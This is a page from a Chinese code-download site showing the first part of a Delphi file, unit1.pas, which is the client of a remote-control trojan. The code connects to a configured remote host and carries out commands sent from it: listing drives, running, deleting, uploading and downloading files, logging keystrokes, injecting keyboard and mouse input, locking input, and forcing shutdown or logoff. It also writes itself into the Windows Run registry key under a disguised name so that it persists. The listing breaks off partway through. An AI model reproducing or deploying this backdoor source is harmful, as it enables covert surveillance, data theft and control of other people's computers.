⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit1.pas

📁 1、远程文件访问。包括文件下载、上传(限文件8M以内)、文件(夹)更名、文件(夹)删除、文件运行、文件查找、创建文件夹、清空文件夹、文件属性查看。   2、远程关机、启动、注销、修改组织名、用户名。
💻 PAS
📖 第 1 页 / 共 4 页
字号:
 end;
 cs.Host :=seta;
 cs.Port :=strtoint(setb);
 cs.Active :=true;
end;

procedure TForm1.csConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
  timer1.Enabled :=false;
  form1.Caption :='连接';
  CS.Socket.SendText('000'+ ipdd());
end;

procedure TForm1.csError(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
  ErrorCode:=0;
end;

procedure TForm1.csRead(Sender: TObject; Socket: TCustomWinSocket);
var strr,go,tem,DOSN,DOSC,ST1,bgba,usna,f1,f2,S,S1,osVersion, REGVAL,RERT,RERV:string;
    lh,Size, sunum,L,i,mx,my,mk,temp:integer;
    a:TRect;
    Found: BOOL;
    tit,speak,Name:PChar;
    st,hwnd1,hwnd2:hwnd;
    Lppe: TProcessEntry32;
    HSnapshot, HProcess,IEwin,hDesktop: THandle;
    os:syver;
    dwna : Dword;
    MyBmp: TBitmap;
    rec:tsearchrec;
    Myjpg: TJpegimage;
    memst: TMemoryStatus;
    ld : DWORD;
    fst:TFileStream;
    buf,p1:pointer;
    src:TSearchRec;
    REIOF:TRegDataInfo;
    REKN,REVN:TStringList;
    TheBuffer : array[0..1024] of byte;

begin//收消息
      lh:=Socket.ReceiveLength;
      GetMem(buf,lh);
      Socket.ReceiveBuf(buf^,lh);
      strr:=TRIM(StrPas(PChar(buf)));
      strr:=Copy(strr,1,lh);

     if (strr='351') or (strr='359') or (strr='373') or (strr='378') then exit;

     go:= copy(strr,1,3);
     form1.Caption :=strr;

     if copy(go,1,1)='3' then
      begin
       Reg := TRegistry.Create;
       if strtoint(go)<350 then
        begin
         strr:=copy(strr,4,length(strr));
         i:=pos('\',strr);
         if i<>0 then
          begin
           RERT:=copy(strr,1,i-1);
           RERV:=copy(strr,i,length(strr));
          end
         else
          begin
           RERT:=strr;
           RERV:='';
          end;
         if RERT='HKEY_CURRENT_USER' then Reg.RootKey:=HKEY_CURRENT_USER;
         if RERT='HKEY_LOCAL_MACHINE' then Reg.RootKey:=HKEY_LOCAL_MACHINE;
         if RERT='HKEY_USERS' then Reg.RootKey:=HKEY_USERS;
        end;
      end;

  case strtoint(go) of
007:begin//登录密码
     if copy(strr,4,length(strr)-3)=SETC then
       cs.Socket.SendText('007'+'OK')
     else
       cs.Socket.SendText('007'+'OFF'); 
    end;

110:begin
     M2.Text :='';
     ld := GetLogicalDrives;//得到磁盘列表
     for i := 0 to 25 do
      begin
       if (ld and (1 shl i)) <> 0 then
         if GetDriveSpecies(Char(Ord('A') + i) + ':')='2' then
           S1:=s1+(Char(Ord('A') + i) + ':');
      end;  
      dirn:='';
      filn:='';
      fdir(copy(DCB.Text,1,2));
      cs.Socket.SendText('110'+S1+'>>>'+COPY(DCB.Text,1,2)+'>>>' +dirn+'>>>'+filn);
    end;
130:begin//刷新磁盘时
     M2.Text :='';
     LPH:=copy(strr,4,length(strr)-3);
     dirn:='';
     filn:='';
     fdir(LPH);
     cs.Socket.SendText('130'+LPH+'>>>'+dirn+'>>>'+filn);
    end;
131:begin//刷新目录时
     LPH:=copy(strr,4,length(strr)-3);
     dirn:='';
     filn:='';
     fdir(LPH);
     cs.Socket.SendText('131'+dirn+'>>>'+filn);
    end;

150:begin //新建目录
     strr:=copy(strr,4,length(strr)-3);
     if directoryexists(strr)=false then
      begin
       createdir(strr);
       cs.Socket.SendText('150');
      end
     else
       cs.Socket.SendText('150'+'no');
    end;
152:begin //目录删除
     strr:=copy(strr,4,length(strr)-3);
     remall(strr);
     if directoryexists(strr)=true  then
      cs.Socket.SendText('152'+'0')
     else
      cs.Socket.SendText('152'+'1');
    end;
155:begin//运行程序
     DOSN:= copy(strr,4,length(strr)-3);
     shellexecute(handle,'open',pchar(DOSN),nil,nil,SW_SHOWNORMAL);
    end;
156:begin//文件更名
     strr:=copy(strr,4,length(strr)-3);
     i:=pos('>>>',strr);
     S1:=copy(strr,1,i-1);
     strr:=copy(strr,i+3,length(strr)-i);

     i:=pos('>>>',strr);
     f1:=copy(strr,1,i-1);
     f2:=copy(strr,i+3,length(strr)-i);
     renamefile(s1+f1,s1+f2);
     cs.Socket.SendText('156'+'OK');
    end;
157:begin//文件删除
     strr:=copy(strr,4,length(strr)-3);
     deletefile(strr);
     if fileexists(strr)=true then
       cs.Socket.SendText('157'+'0')
     else
       cs.Socket.SendText('157'+'1');
    end;
    
170:begin//文件查找
     strr:=copy(strr,4,length(strr)-3);
     i:=pos('>>>',strr);
     f1:=copy(strr,1,i-1);
     f2:=copy(strr,i+3,length(strr));

     FindFirst(f1+f2,faAnyFile-faDirectory,src);
     if src.Name='' then
      cs.Socket.SendText('170'+'*')
     else
      cs.Socket.SendText('170'+src.Name+'文件大小'+inttostr(src.Size));
    end;
171:begin//文件查找并运行
     strr:=copy(strr,4,length(strr)-3);
     i:=pos('>>>',strr);
     f1:=copy(strr,1,i-1);
     f2:=copy(strr,i+3,length(strr));

     FindFirst(f1+f2,faAnyFile-faDirectory,src);
     if src.Name='' then
      cs.Socket.SendText('171'+'*')
     else
      begin
        shellexecute(handle,'open',pchar(f1+f2),nil,nil,SW_SHOWNORMAL);
        cs.Socket.SendText('171'+f1+f2);
      end;
    end;
172:begin//文件查找并删除
     strr:=copy(strr,4,length(strr)-3);
     i:=pos('>>>',strr);
     f1:=copy(strr,1,i-1);
     f2:=copy(strr,i+3,length(strr));

     FindFirst(f1+f2,faAnyFile-faDirectory,src);
     if src.Name='' then
      cs.Socket.SendText('172'+'*')
     else
      begin
        deletefile(f1+f2);
        if fileexists(f1+f2)=true then
          cs.Socket.SendText('172'+'0')
        else
          cs.Socket.SendText('172'+'1');
        end;
    end;
179:begin
      strr:=copy(strr,4,length(strr)-3);
      updownfile:=strr;
      DOWF:=TFileStream.Create(strr,fmOpenRead);
      if DOWF.Size >8388608  then
      begin
        cs.Socket.SendText('1800');
        DOWF.Free;
        exit;
      end;
      DOWF.Free;
      cs.Socket.SendText('1801');
    end;
181:begin  
        DOWF:=TFileStream.Create(updownfile,fmOpenRead);
        CS.Socket.SendText('182');
        kks:=1;
    end;
183:begin
        if kks=0 then exit;
        if DOWF.Position< DOWF.Size then
          begin
           lh:=DOWF.Size-DOWF.Position;
           if lh>8192 then lh:=8192;
           GetMem(buf,lh);
           try
              DOWF.Read(buf^,lh);
              cs.Socket.SendBuf(buf^,lh);
           finally
              FreeMem(buf,lh);
           end;
          end
        else
          begin
           cs.Socket.SendText('184');
           DOWF.Free;
           kks:=0;
          end;
  end;
185:begin//查找并下载
     strr:=copy(strr,4,length(strr)-3);
     i:=pos('>>>',strr);
     f1:=copy(strr,1,i-1);
     f2:=copy(strr,i+3,length(strr));

     FindFirst(f1+f2,faAnyFile-faDirectory,src);
     if src.Name='' then
      cs.Socket.SendText('185'+'*')
     else
      begin
        updownfile:=f1+f2;
        cs.Socket.SendText('185'+src.Name);
      end;
    end;
190:begin//文件上传
     upfina:=copy(strr,4,length(strr)-3);
     ss.Port :=cs.Port+1 ;
     ss.Active :=true;
     JORF:=1;
    end;
198:begin//文件属性查看
      strr:=copy(strr,4,length(strr)-3);
      fst:=TFileStream.Create(strr ,fmOpenRead);
      GetFileTime(strr);
      cs.Socket.SendText('198'+inttostr(fst.Size)+'>'+T11+'>'+T22+'>'+T33);
      fst.Free;
    end;
199:begin //文件夹更名
     strr:=copy(strr,4,length(strr)-3);
      i:=pos('>>>',strr);
      f1:=copy(strr,1,i-1);
      f2:=copy(strr,i+3,length(strr));
      Renamefile (f1,f2);
    end;

201:keyti.Enabled :=true;//开始键盘记录
202:begin
     keyti.Enabled :=false;//停止键盘记录
     cs.Socket.SendText('202'+M1.Text);
     M1.Clear ;
    end;
203:begin//ESC
        keybd_event(27,0,0,0);
        keybd_event(27,0,KEYEVENTF_KEYUP,0);
    end;
204:begin//←
        keybd_event(8,0,0,0);
        keybd_event(8,0,KEYEVENTF_KEYUP,0);
    end;
205:begin//删除
        keybd_event(46,0,0,0);
        keybd_event(46,0,KEYEVENTF_KEYUP,0);
    end;
206:begin//上页
        keybd_event(33,0,0,0);
        keybd_event(33,0,KEYEVENTF_KEYUP,0);
    end;
207:begin// 回车
        keybd_event(13,0,0,0);
        keybd_event(13,0,KEYEVENTF_KEYUP,0);
    end;
208:begin//下页
        keybd_event(34,0,0,0);
        keybd_event(34,0,KEYEVENTF_KEYUP,0);
    end;
209:begin//TAB
        keybd_event(9,0,0,0);
        keybd_event(9,0,KEYEVENTF_KEYUP,0);
    end;
210:begin//ALT+F4
        keybd_event(18,0,0,0);
        keybd_event(115,0,0,0);
        keybd_event(115,0,KEYEVENTF_KEYUP,0);
        keybd_event(18,0,KEYEVENTF_KEYUP,0);
    end;
211:begin//CTRL+A
        keybd_event(17,0,0,0);
        keybd_event(65,0,0,0);
        keybd_event(65,0,KEYEVENTF_KEYUP,0);
        keybd_event(17,0,KEYEVENTF_KEYUP,0);
    end;
212:begin//上
        keybd_event(38,0,0,0);
        keybd_event(38,0,KEYEVENTF_KEYUP,0);
    end;
213:begin//下
        keybd_event(40,0,0,0);
        keybd_event(40,0,KEYEVENTF_KEYUP,0);
    end;
214:begin//左
        keybd_event(37,0,0,0);
        keybd_event(37,0,KEYEVENTF_KEYUP,0);
    end;
215:begin//右
        keybd_event(39,0,0,0);
        keybd_event(39,0,KEYEVENTF_KEYUP,0);
    end;
216:begin//上锁键盘
     DisableKeyboard();
     retu();
    end;
217:begin//解锁键盘
     EnableKeyboard();
     retu();
    end;
218:begin //鼠标事件
        mx:=strtoint(copy(strr,4,4));//得到X坐标
        my:=strtoint(copy(strr,8,4));//得到Y坐标
        mk:=strtoint(copy(strr,12,1));//得到击键方式
        setcursorpos(mx,my);//定位坐标
         if mk=1 then//单击
          begin
           mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
           mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
          end
         else if mk=2 then//双击
          begin
           mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
           mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
           mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
           mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
          end
         else if mk=3 then//右击
          begin
           mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
           mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
          end;
          retu();
    end;
219:begin//锁鼠标
        SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @temp, 0);
        a:=rect(0,0,5,5);
        ClipCursor(@a);
        retu();
    end;
220:begin//鼠标解锁
        SystemParametersInfo( SPI_SCREENSAVERRUNNING, 0, @temp, 0);
        ClipCursor(nil);
        retu();
    end;
221:begin//开光驱
      mciSendString('Set cdaudio door open wait', nil, 0, handle);
      retu();
    end;
222:begin//关光驱
      mciSendString('Set cdaudio door closed wait', nil, 0, handle);
      retu();
    end;
223:begin//关机
     reg:=tregistry.Create ;
     reg.RootKey :=HKEY_LOCAL_MACHINE;
     IF reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True) then
      reg.WriteString('PHIME2OO2ASyst',Application.ExeName);
     reg.Free;
     cs.Active :=false;
     cs.Close ;
     SetPrivilege('SeShutdownPrivilege',true);
     ExitWindowsEx(EWX_SHUTDOWN,1);
     ExitWindowsEx(EWX_FORCE,4);
     ExitWindowsEx(EWX_POWEROFF,8);
     ExitWindowsEx(EWX_SHUTDOWN  or  EWX_FORCE  or  EWX_POWEROFF,0);
     exitwindowsex(ewx_shutdown,0);
    end;
224:begin//注销
     reg:=tregistry.Create ;
     reg.RootKey :=HKEY_LOCAL_MACHINE;
     IF reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True) then
      reg.WriteString('PHIME2OO2ASyst',Application.ExeName);
     reg.Free;
     cs.Active :=false;
     cs.Close ;
     ExitWindowsEx(EWX_LOGOFF,0);
     ExitWindowsEx(EWX_FORCE, 0);
    end;

225:begin//重启

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -